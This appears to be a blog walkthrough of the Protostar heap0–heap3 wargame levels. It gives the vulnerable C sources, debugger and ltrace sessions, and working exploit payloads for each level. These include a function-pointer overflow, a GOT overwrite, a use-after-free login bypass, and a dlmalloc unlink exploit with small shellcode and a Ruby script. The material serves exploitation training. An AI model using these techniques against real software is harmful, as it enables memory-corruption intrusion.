index search github twitter

Exploit-Exercises: Protostar (Heap Levels)

Image: Exploit-Exercises: Protostar (v2)

user@protostar:~$ wget https://raw.githubusercontent.com/73696e65/gdbinit/master/gdb_init.txt --no-check-certificate -O ~/.gdbinit -q 

Protostar Heap0

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data {
  char name[64];
};

struct fp {
  int (*fp)();
};

void winner()
{
  printf("level passed\n");
}

void nowinner()
{
  printf("level has not been passed\n");
}

int main(int argc, char **argv)
{
  struct data *d;
  struct fp *f;

  d = malloc(sizeof(struct data));
  f = malloc(sizeof(struct fp));
  f->fp = nowinner;

  printf("data is at %p, fp is at %p\n", d, f);

  strcpy(d->name, argv[1]);
  
  f->fp();

}
user@protostar:~$ gdb -q /opt/protostar/bin/heap0 
Really redefine built-in command "frame"? (y or n) [answered Y; input not from terminal]
Really redefine built-in command "thread"? (y or n) [answered Y; input not from terminal]
Really redefine built-in command "start"? (y or n) [answered Y; input not from terminal]
Reading symbols from /opt/protostar/bin/heap0...done.

gdb> r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
data is at 0x804a008, fp is at 0x804a050

Program received signal SIGSEGV, Segmentation fault.
_______________________________________________________________________________
     eax:41346341 ebx:B7FD7FF4  ecx:00000000  edx:00000065     eflags:00210246
     esi:00000000 edi:00000000  esp:BFFFF70C  ebp:BFFFF738     eip:41346341
     cs:0073  ds:007B  es:007B  fs:0000  gs:0033  ss:007B    o d I t s Z a P c 
[007B:BFFFF70C]---------------------------------------------------------[stack]
BFFFF73C : 76 DC EA B7  02 00 00 00 - E4 F7 FF BF  F0 F7 FF BF v...............
BFFFF72C : 50 A0 04 08  20 85 04 08 - 00 00 00 00  B8 F7 FF BF P... ...........
BFFFF71C : 38 F7 FF BF  65 63 EC B7 - 40 10 FF B7  08 A0 04 08 8...ec..@.......
BFFFF70C : FF 84 04 08  08 A0 04 08 - 1D F9 FF BF  50 A0 04 08 ............P...
[007B:41346341]---------------------------------------------------------[ data]
41346341 : Error while running hook_stop:
Cannot access memory at address 0x41346341
0x41346341 in ?? ()

0x41346341 represents the offset 72, also 0x804a050 - 0x804a008 = 72. So we write 64B to d->name and after another 8B, there is the address of fp.

To verify our statement, we use ltrace and gdb:

user@protostar:~$ ltrace /opt/protostar/bin/heap0 1337
__libc_start_main(0x804848c, 2, 0xbffff844, 0x8048520, 0x8048510 <unfinished ...>
malloc(64)                                                      = 0x0804a008
malloc(4)                                                       = 0x0804a050
printf("data is at %p, fp is at %p\n", 0x804a008, 0x804a050data is at 0x804a008, f
)                                                                  = 41
strcpy(0x0804a008, "1337")                                      = 0x0804a008
puts("level has not been passed"level has not been passed
)    = 26
+++ exited (status 26) +++
user@protostar:~$ gdb -q /opt/protostar/bin/heap0 
Really redefine built-in command "frame"? (y or n) [answered Y; input not from terminal]
Really redefine built-in command "thread"? (y or n) [answered Y; input not from terminal]
Really redefine built-in command "start"? (y or n) [answered Y; input not from terminal]
Reading symbols from /opt/protostar/bin/heap0...done.

gdb> b *0x80484ff
Breakpoint 1 at 0x80484ff: file heap0/heap0.c, line 40.

gdb> r $(ruby -e 'print "X" * 64')
data is at 0x804a008, fp is at 0x804a050
level has not been passed
_______________________________________________________________________________
     eax:0000001A ebx:B7FD7FF4  ecx:B7FD84C0  edx:B7FD9340     eflags:00200246
     esi:00000000 edi:00000000  esp:BFFFF730  ebp:BFFFF758     eip:080484FF
     cs:0073  ds:007B  es:007B  fs:0000  gs:0033  ss:007B    o d I t s Z a P c 
[007B:BFFFF730]---------------------------------------------------------[stack]
BFFFF760 : 02 00 00 00  04 F8 FF BF - 10 F8 FF BF  48 18 FE B7 ............H...
BFFFF750 : 20 85 04 08  00 00 00 00 - D8 F7 FF BF  76 DC EA B7  ...........v...
BFFFF740 : 65 63 EC B7  40 10 FF B7 - 08 A0 04 08  50 A0 04 08 ec..@.......P...
BFFFF730 : 08 A0 04 08  41 F9 FF BF - 50 A0 04 08  58 F7 FF BF ....A...P...X...
[007B:BFFFF730]---------------------------------------------------------[ data]
BFFFF730 : 08 A0 04 08  41 F9 FF BF - 50 A0 04 08  58 F7 FF BF ....A...P...X...
BFFFF740 : 65 63 EC B7  40 10 FF B7 - 08 A0 04 08  50 A0 04 08 ec..@.......P...
[0073:080484FF]---------------------------------------------------------[ code]
0x80484ff <main+115>:	leave  
0x8048500 <main+116>:	ret    
0x8048501:	nop
0x8048502:	nop
0x8048503:	nop
0x8048504:	nop
------------------------------------------------------------------------------

Breakpoint 1, main (argc=0x2, argv=0xbffff804) at heap0/heap0.c:40
40	heap0/heap0.c: No such file or directory.
	in heap0/heap0.c

gdb> x /25x 0x0804a000
0x804a000:	0x00000000	0x00000049	0x58585858	0x58585858
0x804a010:	0x58585858	0x58585858	0x58585858	0x58585858
0x804a020:	0x58585858	0x58585858	0x58585858	0x58585858
0x804a030:	0x58585858	0x58585858	0x58585858	0x58585858
0x804a040:	0x58585858	0x58585858	0x00000000	0x00000011
0x804a050:	0x08048478	0x00000000	0x00000000	0x00020fa9
0x804a060:	0x00000000
(08) 0x0804a000: d-control
(64) 0x0804a008: d-name

(08) 0x0804a048: f-control
(04) 0x0804a050: f-fp

We set fp to winner() symbol:

user@protostar:~$ nm /opt/protostar/bin/heap0 | grep winner
08048478 T nowinner
08048464 T winner

user@protostar:~$ /opt/protostar/bin/heap0 $(ruby -e 'print "X"*72 + [0x08048464].pack("V")')
data is at 0x804a008, fp is at 0x804a050
level passed

Protostar Heap1

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct internet {
  int priority;
  char *name;
};

void winner()
{
  printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  struct internet *i1, *i2, *i3;

  i1 = malloc(sizeof(struct internet));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct internet));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}

user@protostar:~$ ltrace /opt/protostar/bin/heap1 AAAA BBBB
__libc_start_main(0x80484b9, 3, 0xbffff834, 0x8048580, 0x8048570 <unfinished ...>
malloc(8)                        = 0x0804a008
malloc(8)                        = 0x0804a018
malloc(8)                        = 0x0804a028
malloc(8)                        = 0x0804a038
strcpy(0x0804a018, "AAAA")       = 0x0804a018
strcpy(0x0804a038, "BBBB")       = 0x0804a038
puts("and that's a wrap folks!"and that's a wrap folks!
)                   = 25
+++ exited (status 25) +++

We have four allocated chunks in memory:

(8) 0x0804a000: i1-control
(4) 0x0804a008: i1-priority
(4) 0x0804a00c: i1-name(addr)

(8) 0x0804a010: i1-name-control
(8) 0x0804a018: i1-name

(8) 0x0804a020: i2-control
(4) 0x0804a028: i2-priority
(4) 0x0804a02c: i2-name(addr)

(8) 0x0804a030: i2-name-control
(8) 0x0804a038: i2-name

After 20 bytes, we are able to change i2-name(addr), that is used by second strcpy().

user@protostar:~$ ltrace -e strcpy /opt/protostar/bin/heap1 $(ruby -e 'print "A" * 20 + [0x44444444].pack("V") ') 2222
strcpy(0x0804a018, "AAAAAAAAAAAAAAAAAAAADDDD")      = 0x0804a018
strcpy(0x44444444, "2222" <unfinished ...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

We use Global Offset Table Hijacking technique:

user@protostar:~$ objdump -TR /opt/protostar/bin/heap1 

/opt/protostar/bin/heap1:     file format elf32-i386

DYNAMIC SYMBOL TABLE:
00000000  w   D  *UND*	00000000              __gmon_start__
00000000      DF *UND*	00000000  GLIBC_2.0   __libc_start_main
00000000      DF *UND*	00000000  GLIBC_2.0   strcpy
00000000      DF *UND*	00000000  GLIBC_2.0   printf
00000000      DF *UND*	00000000  GLIBC_2.0   time
00000000      DF *UND*	00000000  GLIBC_2.0   malloc
00000000      DF *UND*	00000000  GLIBC_2.0   puts
0804862c g    DO .rodata	00000004  Base        _IO_stdin_used


DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
0804974c R_386_GLOB_DAT    __gmon_start__
0804975c R_386_JUMP_SLOT   __gmon_start__
08049760 R_386_JUMP_SLOT   __libc_start_main
08049764 R_386_JUMP_SLOT   strcpy
08049768 R_386_JUMP_SLOT   printf
0804976c R_386_JUMP_SLOT   time
08049770 R_386_JUMP_SLOT   malloc
08049774 R_386_JUMP_SLOT   puts

user@protostar:~$ nm /opt/protostar/bin/heap1 | grep winner
08048494 T winner

Goal is to write the value 0x08048494 to the 0x08049774 address.

strcpy(i1->name, argv[1]):
(8) 0x0804a000: i1-control
(4) 0x0804a008: i1-priority
(4) 0x0804a00c: i1-name(addr)

(8) 0x0804a010: i1-name-control
(8) 0x0804a018: i1-name             # AAAAAAAA

(8) 0x0804a020: i2-control          # AAAAAAAA
(4) 0x0804a028: i2-priority         # AAAA
(4) 0x0804a02c: i2-name(addr)       # [0x08049774].pack("V")

(8) 0x0804a030: i2-name-control     
(8) 0x0804a038: i2-name             

strcpy(i2->name, argv[2]):
(8) 0x0804a000: i1-control
(4) 0x0804a008: i1-priority
(4) 0x0804a00c: i1-name(addr)

(8) 0x0804a010: i1-name-control
(8) 0x0804a018: i1-name             # AAAAAAAA

(8) 0x0804a020: i2-control          # AAAAAAAA
(4) 0x0804a028: i2-priority         # AAAA
(4) 0x0804a02c: i2-name(addr)       # [0x08049774].pack("V")

(8) 0x0804a030: i2-name-control
(8) 0x0804a038: i2-name             # [0x08048494].pack("V")

The second strcpy() takes i2-name(addr) = 0x08049774 and copies over there the argv[2] value.

user@protostar:~$ ltrace /opt/protostar/bin/heap1 $(ruby -e 'print "A" * 20 + [0x08049774].pack("V")') $(ruby -e 'print [0x08048494].pack("V")')
__libc_start_main(0x80484b9, 3, 0xbffff824, 0x8048580, 0x8048570 <unfinished ...>
malloc(8)                                                   = 0x0804a008
malloc(8)                                                   = 0x0804a018
malloc(8)                                                   = 0x0804a028
malloc(8)                                                   = 0x0804a038
strcpy(0x0804a018, "AAAAAAAAAAAAAAAAAAAAt\227\004\b")       = 0x0804a018
strcpy(0x08049774, "\224\204\004\b")                        = 0x08049774
puts("and that's a wrap folks!" <unfinished ...>
time(NULL)                                                  = 1435153654
printf("and we have a winner @ %d\n", 1435153654and we have a winner @ 1435153654
)                                                                             = 34
<... puts resumed> )                                                                                                          = 34
+++ exited (status 34) +++
user@protostar:~$ /opt/protostar/bin/heap1 $(ruby -e 'print "A" * 20 + [0x08049774].pack("V")') $(ruby -e 'print [0x08048494].pack("V")')
and we have a winner @ 1435149585

Protostar Heap2

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

struct auth {
  char name[32];
  int auth;
};

struct auth *auth;
char *service;

int main(int argc, char **argv)
{
  char line[128];

  while(1) {
      printf("[ auth = %p, service = %p ]\n", auth, service);

      if(fgets(line, sizeof(line), stdin) == NULL) break;
      
      if(strncmp(line, "auth ", 5) == 0) {
          auth = malloc(sizeof(auth));
          memset(auth, 0, sizeof(auth));
          if(strlen(line + 5) < 31) {
              strcpy(auth->name, line + 5);
          }
      }
      if(strncmp(line, "reset", 5) == 0) {
          free(auth);
      }
      if(strncmp(line, "service", 6) == 0) {
          service = strdup(line + 7);
      }
      if(strncmp(line, "login", 5) == 0) {
          if(auth->auth) {
              printf("you have logged in already!\n");
          } else {
              printf("please enter your password\n");
          }
      }
  }
}

Running the binary:

user@protostar:~$ /opt/protostar/bin/heap2 
[ auth = (nil), service = (nil) ]
auth 1234
[ auth = 0x804c008, service = (nil) ]
service 5678
[ auth = 0x804c008, service = 0x804c018 ]
login
please enter your password
[ auth = 0x804c008, service = 0x804c018 ]

This is strange, the service variable is allocated at 0x0804c018, but obviously we cannot have the following heap chucks:

(08) 0x0804c000: auth-control
(32) 0x0804c008: auth-name
(04) 0x0804c028: auth-auth

(08) 0x0804c010: service-control
(xx) 0x0804c018: service

There should be sizeof(struct auth) = 32+4 instead of sizeof(auth) = 4 and in our buggy code we allocated only four bytes of memory:

auth = malloc(sizeof(auth));
memset(auth, 0, sizeof(auth));

This is very simple Use-After-Free vulnerability. We need to write something to auth-auth, after 0x0804c028-0x0804c018 = 16 bytes.

user@protostar:~$ ltrace /opt/protostar/bin/heap2
__libc_start_main(0x8048934, 1, 0xbffff864, 0x804acc0, 0x804acb0 <unfinished ...>
printf("[ auth = %p, service = %p ]\n", (nil), (nil)[ auth = (nil), service = (nil) ]
)                                                                         = 34
fgets(auth A
"auth A\n", 128, 0xb7fd8420)                                                                                            = 0xbffff730
strncmp("auth A\n", "auth ", 5)                                                                                               = 0
sysconf(30, 0, 0xb7fe1b28, 1, 0)                                                                                              = 4096
sbrk(4096)                                                                                                                    = 0x0804c000
sbrk(0)                                                                                                                       = 0x0804d000
memset(0x0804c008, '\000', 4)                                                                                                 = 0x0804c008
strlen("A\n")                                                                                                                 = 2
strcpy(0x0804c008, "A\n")                                                                                                     = 0x0804c008
strncmp("auth A\n", "reset", 5)                                                                                               = -17
strncmp("auth A\n", "service", 6)                                                                                             = -18
strncmp("auth A\n", "login", 5)                                                                                               = -11
printf("[ auth = %p, service = %p ]\n", 0x804c008, (nil)[ auth = 0x804c008, service = (nil) ]
)                                                                     = 38
fgets(service AAAAAAAAAAAAAAA
"service AAAAAAAAAAAAAAA\n", 128, 0xb7fd8420)                                                                           = 0xbffff730
strncmp("service AAAAAAAAAAAAAAA\n", "auth ", 5)                                                                              = 18
strncmp("service AAAAAAAAAAAAAAA\n", "reset", 5)                                                                              = 1
strncmp("service AAAAAAAAAAAAAAA\n", "service", 6)                                                                            = 0
strdup(" AAAAAAAAAAAAAAA\n")                                                                                                  = 0x0804c018
strncmp("service AAAAAAAAAAAAAAA\n", "login", 5)                                                                              = 7
printf("[ auth = %p, service = %p ]\n", 0x804c008, 0x804c018[ auth = 0x804c008, service = 0x804c018 ]
)                                                                 = 42
fgets(login
"login\n", 128, 0xb7fd8420)                                                                                             = 0xbffff730
strncmp("login\n", "auth ", 5)                                                                                                = 11
strncmp("login\n", "reset", 5)                                                                                                = -6
strncmp("login\n", "service", 6)                                                                                              = -7
strncmp("login\n", "login", 5)                                                                                                = 0
puts("you have logged in already!"you have logged in already!
)                                                                                           = 28
printf("[ auth = %p, service = %p ]\n", 0x804c008, 0x804c018[ auth = 0x804c008, service = 0x804c018 ]
)                                                                 = 42
fgets("login\n", 128, 0xb7fd8420)                                                                                             = NULL
+++ exited (status 0) +++

As we can see above, we sent 15 character + newline.

user@protostar:~$ /opt/protostar/bin/heap2 
[ auth = (nil), service = (nil) ]
auth A
[ auth = 0x804c008, service = (nil) ]
service AAAAAAAAAAAAAAA
[ auth = 0x804c008, service = 0x804c018 ]
login
you have logged in already!
[ auth = 0x804c008, service = 0x804c018 ]

user@protostar:~$ ruby -e 'puts "auth A"; puts "service " + "A" * 15; puts "login"' | /opt/protostar/bin/heap2 
[ auth = (nil), service = (nil) ]
[ auth = 0x804c008, service = (nil) ]
[ auth = 0x804c008, service = 0x804c018 ]
you have logged in already!
[ auth = 0x804c008, service = 0x804c018 ]

Protostar Heap3

This level introduces old Doug Lea Malloc version, which is statically linked with heap3 binary.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

void winner()
{
  printf("that wasn't too bad now, was it? @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  char *a, *b, *c;

  a = malloc(32);
  b = malloc(32);
  c = malloc(32);

  strcpy(a, argv[1]);
  strcpy(b, argv[2]);
  strcpy(c, argv[3]);

  free(c);
  free(b);
  free(a);

  printf("dynamite failed?\n");
}
user@protostar:~$ ltrace /opt/protostar/bin/heap3 1 2 3
__libc_start_main(0x8048889, 4, 0xbffff854, 0x804ab50, 0x804ab40 <unfinished ...>
sysconf(30, 0xb7ffeff4, 0xb7e9abb8, 1, 0xbffff71c)             = 4096
sbrk(4096)                                                     = 0x0804c000
sbrk(0)                                                        = 0x0804d000
strcpy(0x0804c008, "1")                                        = 0x0804c008
strcpy(0x0804c030, "2")                                        = 0x0804c030
strcpy(0x0804c058, "3")                                        = 0x0804c058
puts("dynamite failed?"dynamite failed?
)                                                              = 17
+++ exited (status 17) +++

We have three chunks at the appropriate addresses:

(08) 0x0804c000: a-control
(32) 0x0804c008: a

(08) 0x0804c000: b-control
(32) 0x0804c030: b

(08) 0x0804c050: c-control
(32) 0x0804c058: c

There are a several great article about this topic, I recommend Phrack 57/8, Phrack 57/9, Hackers Hut to explain the exploitation process in detail.

The malloc chunk could be considered as the following structure:

GNU C Library Implementation (used chunk):

             +----------------------------------+
    chunk -> | prev_size                        |
             +----------------------------------+
             | size                         |M|P|
             +----------------------------------+
      mem -> | data                             |
             : ...                              :
             +----------------------------------+
nextchunk -> | prev_size ...                    |
             :                                  :
Once we free() the chunk:

             +----------------------------------+
    chunk -> | prev_size                        |
             +----------------------------------+
             | size                         |M|P|
             +----------------------------------+
      mem -> | fd                               |
             +----------------------------------+
             | bk                               |
             +----------------------------------+
             | (old memory, can be zero bytes)  |
             :                                  :

nextchunk -> | prev_size ...                    |
             :                                  :

It is useful to download the glibc 2.2.3 source code, we are interested, how is the free() implemented:

..
#define unlink(P, BK, FD)                                                     \
{                                                                             \
  BK = P->bk;                                                                 \
  FD = P->fd;                                                                 \
  FD->bk = BK;                                                                \
  BK->fd = FD;                                                                \
}                                                                             \
..
  islr = 0;

  if (!(hd & PREV_INUSE))                    /* consolidate backward */
  {
    prevsz = p->prev_size;
    p = chunk_at_offset(p, -(long)prevsz);
    sz += prevsz;

    if (p->fd == last_remainder(ar_ptr))     /* keep as last_remainder */
      islr = 1;
    else
      unlink(p, bck, fwd);
  }

  if (!(inuse_bit_at_offset(next, nextsz)))   /* consolidate forward */
  {
    sz += nextsz;

    if (!islr && next->fd == last_remainder(ar_ptr))
                                              /* re-insert last_remainder */
    {
      islr = 1;
      link_last_remainder(ar_ptr, p);
    }
    else
      unlink(next, bck, fwd);

    next = chunk_at_offset(p, sz);
  }
  else
    set_head(next, nextsz);                  /* clear inuse bit */

To call vulnerable unlink(), we have two branches, consolidate backward or consolidate forward.

We want to overwrite the jump to printf/puts function in GOT table with the address of winner().

Given the bck and fwd pointers that we could set arbitrary, free() will do *(fwd+12) = bck and *(bck+8) = fwd. We use the first assignment to write to the arbitrary memory location.

Because the second assignment, we cannot simply write something to .text section (after winner+0x8), but jumping to our shellcode stored in allocated memory would be efficient.

gdb> print /x 0x08048864+0x8
$1 = 0x804886c

gdb> maintenance info sections 
Exec file:
    `/opt/protostar/bin/heap3', file type elf32-i386.
    0x8048114->0x8048127 at 0x00000114: .interp ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x8048128->0x8048148 at 0x00000128: .note.ABI-tag ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x8048148->0x804816c at 0x00000148: .note.gnu.build-id ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x804816c->0x8048234 at 0x0000016c: .hash ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x8048234->0x804829c at 0x00000234: .gnu.hash ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x804829c->0x804848c at 0x0000029c: .dynsym ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x804848c->0x804859a at 0x0000048c: .dynstr ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x804859a->0x80485d8 at 0x0000059a: .gnu.version ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x80485d8->0x80485f8 at 0x000005d8: .gnu.version_r ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x80485f8->0x8048608 at 0x000005f8: .rel.dyn ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x8048608->0x8048680 at 0x00000608: .rel.plt ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x8048680->0x80486b0 at 0x00000680: .init ALLOC LOAD READONLY CODE HAS_CONTENTS
    0x80486b0->0x80487b0 at 0x000006b0: .plt ALLOC LOAD READONLY CODE HAS_CONTENTS
==> 0x80487b0->0x804abdc at 0x000007b0: .text ALLOC LOAD READONLY CODE HAS_CONTENTS <==
    0x804abdc->0x804abf8 at 0x00002bdc: .fini ALLOC LOAD READONLY CODE HAS_CONTENTS
    0x804abf8->0x804aca0 at 0x00002bf8: .rodata ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x804aca0->0x804aca4 at 0x00002ca0: .eh_frame ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x804b000->0x804b008 at 0x00003000: .ctors ALLOC LOAD DATA HAS_CONTENTS
    0x804b008->0x804b010 at 0x00003008: .dtors ALLOC LOAD DATA HAS_CONTENTS
    0x804b010->0x804b014 at 0x00003010: .jcr ALLOC LOAD DATA HAS_CONTENTS
    0x804b014->0x804b0e4 at 0x00003014: .dynamic ALLOC LOAD DATA HAS_CONTENTS
    0x804b0e4->0x804b0e8 at 0x000030e4: .got ALLOC LOAD DATA HAS_CONTENTS
    0x804b0e8->0x804b130 at 0x000030e8: .got.plt ALLOC LOAD DATA HAS_CONTENTS
    0x804b130->0x804b138 at 0x00003130: .data ALLOC LOAD DATA HAS_CONTENTS
    0x804b140->0x804b5d4 at 0x00003138: .bss ALLOC
    0x0000->0x3cfc at 0x00003138: .stab READONLY HAS_CONTENTS
    0x0000->0x566a at 0x00006e34: .stabstr READONLY HAS_CONTENTS
    0x0000->0x0039 at 0x0000c49e: .comment READONLY HAS_CONTENTS

Exploit:

#!/usr/bin/env ruby

# user@protostar:~$ objdump -d /opt/protostar/bin/heap3 -M intel
# ...
#  8048935:       e8 56 fe ff ff          call   8048790 <puts@plt>

# user@protostar:~$ objdump -TR /opt/protostar/bin/heap3 | grep "R_386_JUMP_SLOT.* puts"
# 0804b128 R_386_JUMP_SLOT   puts

# gdb> print /x 0x0804b128-0x0c
# $1 = 0x804b11c

# user@protostar:~$ nm /opt/protostar/bin/heap3 | grep winner
# 08048864 T winner

# root@kali32:~# rasm2 -C 'push 0x08048864; ret'
# "\x68\x64\x88\x04\x08\xc3"

# user@protostar:/tmp$ ltrace -e strcpy /opt/protostar/bin/heap3 a b c
# strcpy(0x0804c008, "a")                              = 0x0804c008
# strcpy(0x0804c030, "b")                              = 0x0804c030
# strcpy(0x0804c058, "c")                              = 0x0804c058
# gdb> print /x 0x0804c008 + 0x04
# $1 = 0x804c00c

binary = "/opt/protostar/bin/heap3"

# chunk1
argv1  = "XXXX"                        # user data, later overwritten by second free()
argv1 << "\x68\x64\x88\x04\x08\xc3"    # shellcode

# chunk2
argv2  = "X" * 24 + "\x01" + "ABCDEFG" # user data

# chunk3
argv2 << [0xfffffff8].pack("V")        # prev_size = -8 && PREV_INUSE = 0
argv2 << [0xfffffffc].pack("V")        # size = -4
argv2 << [0x44444444].pack("V")        # prev_size(unused) for fake chunk 
argv2 << [0x45454545].pack("V")        # size(unused) for fake chunk
argv2 << [0x0804b11c].pack("V")        # ret_loc-0x0c
argv2 << [0x0804c00c].pack("V")        # ret_addr
argv3  = "X"

# *(0x0804b11c+12) = 0x0804c00c; *(0x0804c00c+8) = 0x0804b11c

puts %x[ #{binary} "#{argv1}" "#{argv2}" "#{argv3}" ]

To explain the logic behind our code, because size has the lowest bit set as !PREV_INUSE and p points to the beginning of our current chunk, we triggered the following part of pseudocode with the first free():

  if (!(hd & PREV_INUSE))                    /* consolidate backward */
  {
    prevsz = -8
    p = chunk_at_offset(p, +8);
    unlink(p, bck, fwd);
  }

Here the address of “virtual chunk” was computed and unlinked:

[0x44444444].pack("V") # prev_size
[0x45454545].pack("V") # size
[0x0804b11c].pack("V") # fwd
[0x0804c00c].pack("V") # bck

However, there is another test in consolidate forward:

  if (!(inuse_bit_at_offset(next, nextsz)))   /* consolidate forward */
    unlink(next, bck, fwd);

0x08049918 <free+244>:	mov    eax,DWORD PTR [ebp-0x24] ; eax:FFFFFFF8 = -8
0x0804991b <free+247>:	mov    edx,DWORD PTR [ebp-0x28] ; 0x804c04c: "DEFG\370\377\377\377\374\377\377\377X"
0x0804991e <free+250>:	lea    eax,[edx+eax*1]          ; 0x804c044: "XXXX\001ABCDEFG\370\377\377\377\374\377\377\377X"
0x08049921 <free+253>:	mov    eax,DWORD PTR [eax+0x4]  ; eax:43424101
0x08049924 <free+256>:	and    eax,0x1                  ; eax:00000001 = PREV_INUSE flag
0x08049927 <free+259>:	mov    DWORD PTR [ebp-0x20],eax ; 
0x0804992a <free+262>:	mov    eax,DWORD PTR [ebp-0x28] ; 0x804c04c: "DEFG\370\377\377\377\374\377\377\377X"
0x0804992d <free+265>:	mov    edx,DWORD PTR [ebp-0x24] ; edx:FFFFFFF8
0x08049930 <free+268>:	mov    DWORD PTR [eax+0x4],edx  
0x08049933 <free+271>:	cmp    DWORD PTR [ebp-0x20],0x0 ; PREV_INUSE set?

Here we are verifying, if the PREV_INUSE flag is set (0x43424101), so we skipped the forward consolidation:

argv2  = "X" * 24 + "\x01" + "ABCDEFG" # user data
user@protostar:/tmp$ /opt/protostar/bin/heap3 $(ruby -e 'print "XXXX" + "\x68\x64\x88\x04\x08\xc3"') $(ruby -e 'print "X" * 24 + "\x01" + "ABCDEFG" + [0xfffffff8].pack("V") + [0xfffffffc].pack("V") + "AAAABBBB" + [0x0804b11c].pack("V") + [0x0804c00c].pack("V")') X
that wasn't too bad now, was it? @ 1435304932

user@protostar:/tmp$ ./exploit-backward.rb 
that wasn't too bad now, was it? @ 1435304818